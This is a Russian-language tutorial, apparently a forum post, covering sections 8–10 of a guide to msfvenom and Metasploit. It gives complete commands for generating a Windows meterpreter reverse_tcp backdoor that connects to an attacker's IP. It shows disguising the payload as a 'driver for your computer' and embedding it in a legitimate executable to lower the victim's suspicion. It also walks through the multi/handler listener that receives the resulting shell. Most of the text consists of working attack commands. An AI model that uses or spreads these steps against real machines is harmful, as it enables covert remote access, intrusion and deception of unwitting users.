Оглавление 8. Форматы полезной нагрузки 9. Примеры генерации полезной нагрузки в MSFvenom 10. Работа с бэкдорами в Metasploit 8. Форматы полезной нагрузки Как уже было сказано, вторым обязательным флагом является -f. Он устанвливает формат полезной нагрузки. Чтобы вывести список всех поддерживаемых форматов, выполните команду: Код: msfvenom --help-formats Будет выведено: Код: Executable formats asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war Transform formats bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript 9. Примеры генерации полезной нагрузки в MSFvenom Один из популярных вариантов создания полезной нагрузки под Windows уже показан выше: Код: msfvenom -p windows/meterpreter/reverse_tcp lhost=IP_атакующего lport=4444 -f exe -o backdoor.exe Чтобы узнать ваш IP адрес, вы можете, например, воспользоваться командой: Код: ip a Чтобы узнать внешний IP: Код: curl suip.biz/ip/ Поскольку я моделирую атаку в локальной сети, то я буду использовать локальный IP компьютера с Kali Linux (192.168.0.196): Код: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.196 lport=4444 -f exe -o backdoor.exe Программа выведет: И будет создан файл backdoor.exe. Можно комбинировать несколько полезных нагрузок. Это позволяет сделать опция -c, которая указывает на файл с шеллколом win32, который должен быть включён в создаваемую полезную нагрузку. Пример: Код: msfvenom -p windows/messagebox ICON="INFORMATION" TITLE="Compatibility test" TEXT="The test is processed" -f raw -o mes1 Мы использовали полезную нагрузку windows/messagebox (создаёт диалоговое окно), эта полезная нагрузка без кодирования (-f raw) была сохранена в файл mes1. Далее мы вновь используем windows/messagebox, и без кодирования сохраняем в файл mes2. После ключа -c мы указываем файл (mes1), который должен быть включён в создаваемую полезную нагрузку. Код: msfvenom -c mes1 -p windows/messagebox ICON="ERROR" TITLE="Error" TEXT="Missing necessary files" -f raw -o mes2 Наконец, уже знакомая нам команда по созданию исполнимого файла, обратите внимание на опцию -c mes2, ей мы добавляем в создаваемый бинарник ранее сгенерированный файл mes2, который уже содержит mes1: Код: msfvenom -c mes2 -p windows/meterpreter/reverse_tcp lhost=192.168.0.196 lport=4444 -f exe -o driver_dlya_tvoego_computera.exe Будет создан файл driver_dlya_tvoego_computera.exe, который при запуске покажет два окна и после этого попытается подключиться к удалённому компьютеру. Опция -x позволяет указать существующий исполнимый файл (шаблон). Это можно делать для уменьшения подозрения пользователя (исполнимый файл может выполнять полезную для пользователя функцию), либо таким образом можно попытаться заменить уже существующий в системе файл. Опция -k вместе с предыдущей сохранит нормальное поведение шаблона, и внедрённая полезная нагрузка будет выполняться как отдельный поток: Код: msfvenom -a x86 --platform windows -x sol.exe -k -p windows/messagebox lhost=192.168.101.133 -b "\x00" -f exe -o sol_bdoor.exe 10. Работа с бэкдорами в Metasploit На «атакующей» машине запускаем Metasploit: Код: msfconsole Далее: Код: 1| use exploit/multi/handler 2| set payload windows/meterpreter/reverse_tcp Обратите внимание, что если вместо windows/meterpreter/reverse_tcp вы выбрали другую полезную нагрузку, то в предыдущей команде замените эту строку на свою. Нужно установить настройки – IP и порт локальной машины: Код: 1| set LHOST 192.168.0.196 2| set LPORT 4444 Не забудьте строку 192.168.0.196 поменять на свой IP адрес. Если вы не меняли порт, то его можно не настраивать, поскольку значением по умолчанию является 4444. Когда настройки сделаны, запустите выполнение модуля: Код: run Спойлер Теперь на «цели» запустите исполнимый файл с полезной нагрузкой. Как только это будет сделано, бэкдор подключится к машине атакующего и откроется сессия meterpreter: